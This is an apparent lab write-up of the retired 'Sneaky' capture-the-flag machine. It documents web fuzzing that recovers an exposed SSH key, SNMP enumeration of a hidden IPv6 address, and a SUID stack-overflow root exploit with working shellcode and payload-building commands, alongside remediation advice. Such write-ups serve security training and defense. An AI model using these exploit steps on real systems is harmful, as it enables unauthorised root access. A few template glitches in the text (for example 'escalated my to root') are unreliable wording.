← all walkthroughs

Sneaky

Linux· Medium
owned
2026-07-07
time to own
10m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

My port-scanned the target and found only a web server and an SNMP daemon reachable over IPv4 — SSH appeared closed. Directory fuzzing on the web server uncovered an unprotected developer directory that Apache served with directory listing enabled, containing a plainly named SSH private key that any visitor could download without authentication.

A separate SNMP sweep using the default 'public' community string extracted the host's IPv6 address from interface MIB tables, revealing an SSH daemon invisible to the IPv4 scan. The stolen key authenticated directly as local user '[REDACTED: recovered credential]' over IPv6 SSH, yielding a shell and the user flag.

On the host, a custom SUID-root 32-bit binary named 'chal' was compiled without a stack canary, with the non-executable stack protection (NX) disabled, and without address-space randomisation — every modern memory-safety control was absent. A stack buffer overflow with shellcode injection escalated my to root, achieving complete system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning / service banner enumeration (T1046)
Mapped all exposed services across TCP and UDP
An aggressive full-port TCP scan returned only port 80 open, running Apache 2.4.7 on Ubuntu with PHP 5.5.9 disclosed in the X-Powered-By response header. Port 22 was filtered on IPv4. A UDP scan confirmed SNMP on port 161. The severely outdated software versions indicated the host had not received security patches in years.
Nmap: 80/tcp open — Apache/2.4.7 Ubuntu, X-Powered-By: PHP/5.5.9-1ubuntu4.21; 161/udp open — net-snmp; 22/tcp filtered on IPv4.
Exact commands 2
Full TCP port scan with service version detection.
nmap -p- --min-rate 3000 -T4 -Pn -sV $TARGET
Confirm SNMP is listening on UDP 161.
nmap -sU -p 161 --min-rate 3000 -Pn $TARGET
2EnumerationWeb content discovery / Apache directory listing abuse (T1083)
Found an unprotected developer directory with directory listing enabled
Directory fuzzing against the web root surfaced a /dev/ path that Apache served with directory listing turned on. The folder contents were visible to any visitor without login: a PHP login form (login.php) and a file whose descriptive name made its purpose immediately clear. No exploitation of the login form was attempted or needed — the directory listing alone handed my what it contained.
Ffuf returned HTTP 200 for http://$TARGET/dev/sshkeyforadministratordifficulttimes; Apache directory index showed the file alongside login.php.
Exact commands 2
Fuzz the web root to discover the /dev/ subdirectory.
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://$TARGET/FUZZ -mc 200,301,302,403
Enumerate files inside /dev/ to find the SSH key.
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://$TARGET/dev/FUZZ -mc 200,301,302,403
FixRemove the SSH private key from the web server and disable directory listingCritical
WeaknessA developer stored an SSH private key at a predictable path inside the web document root (/dev/) and Apache's directory listing was enabled on that folder. Any unauthenticated visitor could browse the folder, identify the key by its descriptive filename, download it, and use it to authenticate directly to the system as a local user account — no password, no exploitation, no guessing required.
FixDelete the private key from the web root immediately and treat the exposed key as fully compromised: revoke it and generate a new key pair, then verify no sessions authenticated with the old key remain active. Disable Apache directory listing globally by setting Options -Indexes in the server configuration or the root .htaccess file — this prevents any directory from exposing its contents. Audit every directory under the document root for sensitive files (private keys, credentials, configuration files, database exports, backup archives) and move them outside the web-served path. If developer or staging paths must exist under the web root, protect them with HTTP authentication backed by a strong password, or restrict them to specific IP addresses.
3Credential AccessUnsecured credentials — SSH private key exposed on web server (T1552.004)
Downloaded the SSH private key stored in the web-accessible directory
A single unauthenticated HTTP GET request retrieved a complete PEM RSA private key from /dev/sshkeyforadministratordifficulttimes. No session, no token, and no bypass were required — the file was open to any internet visitor who could guess or discover the path. The key was later confirmed to belong to local account '[REDACTED: recovered credential]'.
Curl retrieved a valid 'BEGIN RSA PRIVATE KEY' block; the key subsequently authenticated over IPv6 SSH as [REDACTED: recovered credential]
Exact commands 2
Download the exposed private key; chmod 600 is required so the SSH client will accept it.
curl -s -o id_rsa http://$TARGET/dev/sshkeyforadministratordifficulttimes && chmod 600 id_rsa
Verify the download is a valid PEM private key before attempting authentication.
file id_rsa
4EnumerationSNMP enumeration for IPv6 / network interface discovery (T1590.005)
Queried SNMP with the default community string to extract the host's hidden IPv6 address
The SNMP daemon accepted queries from any source using the default 'public' community string — no credentials required, and publicly documented. Walking the IP-MIB address and interface tables returned the host's complete IPv6 configuration, including the globally routable address dead:beef::a0de:adff:feec:9d7c. This address was absent from the IPv4 port scan and revealed an SSH daemon that could not be discovered any other way.
Exact commands 2
Dump the IP-MIB ipAddressTable; decode the OID suffix bytes to reconstruct the IPv6 address.
snmpwalk -v2c -c public -On $TARGET 1.3.6.1.2.1.4.34.1.3
Dump the interface table to correlate interface names with the discovered IPv6 address.
snmpwalk -v2c -c public -On $TARGET 1.3.6.1.2.1.2.2.1
FixDisable SNMP or replace the default community string and restrict query accessHigh
WeaknessThe SNMP daemon was running with the well-known default community string 'public' and accepted queries from any IP address without authentication. This allowed an unauthorised user to enumerate the host's complete network interface configuration, including an IPv6 address that exposed an SSH service invisible to a standard IPv4 port scan — a pivot that would not have been possible if SNMP had been locked down.
FixIf SNMP is not actively used for monitoring, disable it entirely: systemctl disable --now snmpd. If it is required, replace the community string with a long randomly generated value; restrict which source IP addresses may query the agent using the rocommunity directive in /etc/snmp/snmpd.conf paired with a matching firewall rule (ufw or iptables); and consider migrating to SNMPv3 with authPriv-level authentication and encryption, which eliminates plaintext community strings entirely. Verify the restriction is effective by running snmpwalk against your own host from an untrusted IP — if it returns data, the access control is not working.
5Initial AccessSSH authentication with stolen private key over covert IPv6 channel (T1078.003 / T1021.004)
Authenticated over IPv6 SSH with the stolen key and captured the user flag
Combining the downloaded private key with the SNMP-disclosed IPv6 address, I connected to the SSH service that was unreachable from the IPv4 internet. The server ran an older OpenSSH build requiring the legacy ssh-rsa algorithm to be explicitly re-enabled on the client. The shell landed as uid=1000 ([REDACTED: recovered credential]), a member of the sudo group — though sudo prompts for a password, so that path offered no immediate escalation. The user flag was readable directly in the home directory.
Ssh -6 with id_rsa and PubkeyAcceptedAlgorithms=+ssh-rsa returned uid=1000([REDACTED: recovered credential]); FLAGFILE:/home/[REDACTED: recovered credential] <user.txt> confirmed by HTB.
Exact commands 2
IPv6 address used verbatim; both legacy algorithm flags are required for the old OpenSSH server to accept the key.
ssh -6 -i id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null $PASSWORD@dead:beef::a0de:adff:feec:9d7c
Confirm user identity and read the user flag from inside the SSH session.
id && cat /home/$PASSWORD/user.txt
6Post-ExploitationSUID binary discovery and pre-exploitation analysis (T1548.001)
Identified a custom SUID-root binary compiled without any memory protections
Enumerating SUID-root binaries on the host returned /usr/local/bin/chal — a non-standard 32-bit ELF owned by root with the SUID bit set. Copying it to my machine for analysis with checksec confirmed: no stack canary (a stack overflow will not be detected), NX disabled (the stack is executable), no PIE (binary loads at a fixed, predictable address), and only Partial RELRO. Disassembly of main() showed a strcpy call that copies user-supplied argv[1] directly into a fixed-size stack buffer with no length check — a textbook unbounded copy that overwrites the saved return address.
Find -perm -4000 listed /usr/local/bin/chal; checksec: STACK CANARY: No, NX: disabled, PIE: No; objdump confirmed strcpy in main().
Exact commands 4
Run on the target via the SSH session to list all SUID-root binaries.
find / -perm -4000 -type f -exec ls -la {} + 2>/dev/null
Copy the binary for offline analysis; IPv6 address must be wrapped in brackets in scp syntax.
scp -6 -i id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null $PASSWORD@'[dead:beef::a0de:adff:feec:9d7c]':/usr/local/bin/chal ./chal
Confirm 32-bit ELF architecture and verify the absence of all memory-safety protections.
file chal && checksec --file=chal
Locate the strcpy call and measure the stack buffer size from the disassembly.
objdump -d -M intel chal | grep -A 20 '<main>'
FixRemove the unsafe SUID binary or recompile it with full memory-safety protectionsCritical
WeaknessA custom binary (/usr/local/bin/chal) was installed with the SUID-root bit set on a 32-bit system, but compiled without a stack canary, with the non-executable stack (NX) protection disabled, and without position-independent code (PIE). It also copied user-controlled input into a fixed-size stack buffer using strcpy with no length validation. Any local user could pass a crafted argument, overflow the buffer, and execute arbitrary code as root — a technique requiring no special knowledge beyond a debugger.
FixDetermine whether the binary is genuinely needed in production; if not, remove it or strip its SUID bit immediately (chmod u-s /usr/local/bin/chal). If it must remain SUID, fix the source code first: replace the unbounded strcpy call with strncpy or snprintf bounded to the exact buffer size and validate that the length of argv[1] does not exceed the buffer before any copy. Recompile with all modern protections enabled: -fstack-protector-strong, -D_FORTIFY_SOURCE=2, -z noexecstack, and -pie -fPIE. Confine the binary with an AppArmor profile that limits which files and system calls it may access, so that a future undiscovered vulnerability cannot be trivially escalated to an unrestricted root shell.
7Privilege EscalationStack buffer overflow with shellcode injection against SUID-root binary (T1068 / CWE-121)
Overflowed the SUID binary's stack buffer with shellcode to execute as root
With NX disabled, the stack was executable and shellcode injection required no ROP chain. A 600-byte de Bruijn cyclic pattern passed as argv[1] under gdb identified the saved EIP overwrite offset at exactly 362 bytes. A second gdb run captured the live stack pointer (esp ≈ 0xbffff9b0) at crash time. The final payload placed a NOP sled followed by a 32-bit Linux setuid(0)+execve(/bin/sh) shellcode in the first 362 bytes, then overwrote the saved return address with a value pointing into the NOP sled. Delivering this payload to the SUID binary over the established SSH session produced a root shell.
Cyclic_find output = 362; payload returned euid=0(root); root.txt <root.txt> captured and accepted by HTB.
Exact commands 7
Generate a 600-byte de Bruijn pattern to locate the exact EIP overwrite offset.
python3 -c "from pwn import cyclic; open('pattern','wb').write(cyclic(600))"
Crash the local binary copy with the pattern; note the hex EIP value for the next step.
gdb -q -ex 'run $(cat pattern)' -ex 'info registers eip' -ex quit ./chal 2>&1 | grep eip
Replace 0xAABBCCDD with the EIP value from gdb; output should be 362.
python3 -c "from pwn import cyclic_find, p32; print(cyclic_find(p32(0xAABBCCDD)))"
Crash again with flat junk to capture the live esp value — the stack address at the moment of overflow.
gdb -q -ex 'run $(python3 -c "print(\"A\"*400)")' -ex 'info registers esp' -ex quit ./chal 2>&1 | grep esp
Build the payload: NOP sled + setuid(0)+execve shellcode + padding to fill 362 bytes + return address pointing into the sled. Adjust the ret value (esp minus an offset) based on the actual esp from gdb.
python3 -c "import struct; nop=b'\x90'*100; sc=b'\x6a\x17\x58\x31\xdb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'; pad=b'A'*(362-len(nop)-len(sc)); ret=struct.pack('<I',0xbffff9b0-200); open('/tmp/payload','wb').write(nop+sc+pad+ret)"
Transfer the binary payload to the target.
scp -6 -i id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null /tmp/payload $PASSWORD@'[dead:beef::a0de:adff:feec:9d7c]':/tmp/payload
Deliver the payload to the SUID binary; the overflow redirects execution into the shellcode running as euid=0, then reads root.txt.
ssh -6 -i id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null $PASSWORD@dead:beef::a0de:adff:feec:9d7c '/usr/local/bin/chal "$(cat /tmp/payload)" && cat /root/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

80/tcp
161/udp
22/tcp